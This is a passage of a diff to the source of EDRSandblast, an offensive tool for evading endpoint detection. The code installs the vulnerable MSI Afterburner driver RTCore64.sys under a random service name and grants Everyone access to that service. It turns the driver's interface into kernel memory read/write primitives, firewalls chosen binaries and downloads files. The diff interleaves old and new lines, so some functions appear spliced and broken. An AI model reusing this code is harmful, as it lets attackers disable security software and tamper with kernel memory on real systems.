oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
#include "../EDRSandblast.h"
#include "StringUtils.h"
#include "WindowsServiceOps.h"
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
--- Vulnerable driver install / uninstall functions.
*/
static TCHAR* randString(TCHAR* str, size_t size) {
srand((unsigned int) time(0));
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (size) {
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
TCHAR* g_driverServiceName;
TCHAR* GetDriverServiceName(void) {
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
}
return str;
return g_driverServiceName;
}
TCHAR* serviceName;
TCHAR* GetServiceName(void) {
if (!serviceName || _tcslen(serviceName) == 0) {
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
randString(serviceName, SERVICE_NAME_LENGTH);
void SetDriverServiceName(_In_z_ TCHAR *newName) {
if (g_driverServiceName) {
free(g_driverServiceName);
}
return serviceName;
}
g_driverServiceName = _tcsdup(newName);
void SetServiceName(TCHAR *newName, size_t szNewName) {
if (serviceName) {
free(serviceName);
}
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
if (!serviceName) {
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
if (!g_driverServiceName) {
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
return;
}
_tcscpy_s(serviceName, szNewName, newName);
}
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver(void) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
BOOL status = ServiceUninstall(svcName, 0);
@@ -243,3 +66,52 @@ BOOL UninstallVulnerableDriver(void) {
return status;
}
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
BOOL isRunning = FALSE;
if (hSCM) {
DWORD cbBufSize, cbBytesNeeded;
DWORD nbServices;
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
if (services){
cbBufSize = cbBytesNeeded;
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
if (bRes) {
for (DWORD i = 0; i < nbServices; i++) {
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
if (serviceConfig) {
cbBufSize = cbBytesNeeded;
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
if (bRes) {
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
isRunning = TRUE;
if (serviceName) {
*serviceName = _tcsdup(services[i].lpServiceName);
}
}
}
free(serviceConfig);
}
}
CloseServiceHandle(hS);
}
}
}
free(services);
}
}
CloseServiceHandle(hSCM);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return FALSE;
}
return isRunning;
}
+52
View File
@@ -0,0 +1,52 @@
#include <Windows.h>
/*
* Dumps the full content of a single file into a newly allocated buffer
*/
PBYTE ReadFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
BOOL FileExistsA(LPCSTR szPath)
{
DWORD dwAttrib = GetFileAttributesA(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Dumps the content of a buffer into a new file
*/
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
CloseHandle(hFile);
return res;
}
+4 -33
View File
@@ -6,6 +6,8 @@
#include <Tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
return;
}
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+222
View File
@@ -0,0 +1,222 @@
extern "C" {
#include "../EDRSandblast.h"
#include "FirewallOps.h"
}
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
HRESULT hrStatus = S_OK;
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
return hrStatus;
}
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
long CurrentProfilesBitMask = 0;
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
struct ProfileMapElement {
NET_FW_PROFILE_TYPE2 Id;
LPCWSTR Name;
};
ProfileMapElement ProfileMap[3];
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
ProfileMap[0].Name = L"Domain";
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
ProfileMap[1].Name = L"Private";
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
ProfileMap[2].Name = L"Public";
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
goto cleanup;
}
for (DWORD i = 0; i < 3; i++) {
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
if (FAILED(hrStatus)) {
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
goto cleanup;
}
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
vbFirewallsEnabled = VARIANT_FALSE;
}
}
}
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
cleanup:
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
pNetFwPolicy2 = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
INetFwRule* pFwRule = NULL;
BSTR bstrRuleName = NULL;
BSTR bstrRuleDescription = NULL;
BSTR bstrRuleApplication = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
// Rules parameters.
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
bstrRuleName = SysAllocString(ruleName);
bstrRuleDescription = SysAllocString(ruleName);
bstrRuleApplication = SysAllocString(binaryPath);
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Create a new Firewall Rule object.
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Populates the rule's parameters.
pFwRule->put_Name(bstrRuleName);
pFwRule->put_Description(bstrRuleDescription);
pFwRule->put_ApplicationName(bstrRuleApplication);
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
pFwRule->put_Direction(direction);
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
pFwRule->put_Enabled(VARIANT_TRUE);
// Add the new rule.
hrStatus = pFwRules->Add(pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
}
cleanup:
if (pFwRule) {
pFwRule->Release();
}
if (pFwRules) {
pFwRules->Release();
}
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
}
if (bstrRuleName) {
SysFreeString(bstrRuleName);
bstrRuleName = NULL;
}
if (bstrRuleDescription) {
SysFreeString(bstrRuleDescription);
bstrRuleDescription = NULL;
}
if (bstrRuleApplication) {
SysFreeString(bstrRuleApplication);
bstrRuleApplication = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
hrStatus = pFwRules->Remove(ruleName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
}
else {
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
}
cleanup:
if (pFwRules) {
pFwRules->Release();
}
if (SUCCEEDED(hrComInit)) {
pNetFwPolicy2->Release();
}
return hrStatus;
}
+121
View File
@@ -0,0 +1,121 @@
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <windef.h>
#include <winhttp.h>
#include "../EDRSandblast.h"
#include "HttpClient.h"
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
// Get proxy configuration
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
// Initialize HTTP session and request
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
if (hSession == NULL) {
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
if (!hConnect) {
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (!hRequest) {
return FALSE;
}
// Configure proxy manually
if (!proxySet)
{
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
if (proxyConfig.lpszAutoConfigUrl != NULL)
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
WCHAR szUrl[MAX_PATH] = { 0 };
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
WINHTTP_PROXY_INFO proxyInfo;
WinHttpGetProxyForUrl(
hSession,
szUrl,
&autoProxyOptions,
&proxyInfo);
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
}
// Perform request
BOOL bRequestSent;
do {
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
if (!bRequestSent) {
return FALSE;
}
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
if (!bResponseReceived) {
return FALSE;
}
// Read response
DWORD dwAvailableSize = 0;
DWORD dwDownloadedSize = 0;
SIZE_T allocatedSize = 4096;
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
{
return FALSE;
}
*output = (PBYTE) malloc(allocatedSize);
*output_size = 0;
while (dwAvailableSize)
{
while (*output_size + dwAvailableSize > allocatedSize) {
allocatedSize *= 2;
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
}
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
{
return FALSE;
}
*output_size += dwDownloadedSize;
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
}
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return TRUE;
}
File diff suppressed because it is too large Load Diff
+20
View File
@@ -0,0 +1,20 @@
#include "IsElevatedProcess.h"
BOOL IsElevatedProcess() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
+53 -162
View File
@@ -1,178 +1,69 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include <Windows.h>
#include <Tchar.h>
#include <Psapi.h>
#include <stdio.h>
#include <assert.h>
#include "DriverRTCore.h"
#include "DriverDBUtil.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
ReadMemoryPrimitive(Size, Address, Buffer);
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
WriteMemoryPrimitive(Size, Address, Buffer);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
#define ReadMemoryType(TYPE) \
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
TYPE res;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
ReadMemoryType(BYTE);
ReadMemoryType(WORD);
ReadMemoryType(DWORD);
ReadMemoryType(DWORD64);
#define ReadKernelMemoryType(TYPE) \
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
TYPE res;\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
ReadKernelMemoryType(BYTE);
ReadKernelMemoryType(WORD);
ReadKernelMemoryType(DWORD);
ReadKernelMemoryType(DWORD64);
#define WriteMemoryType(TYPE) \
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
WriteMemoryType(BYTE);
WriteMemoryType(WORD);
WriteMemoryType(DWORD);
WriteMemoryType(DWORD64);
#define WriteKernelMemoryType(TYPE) \
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
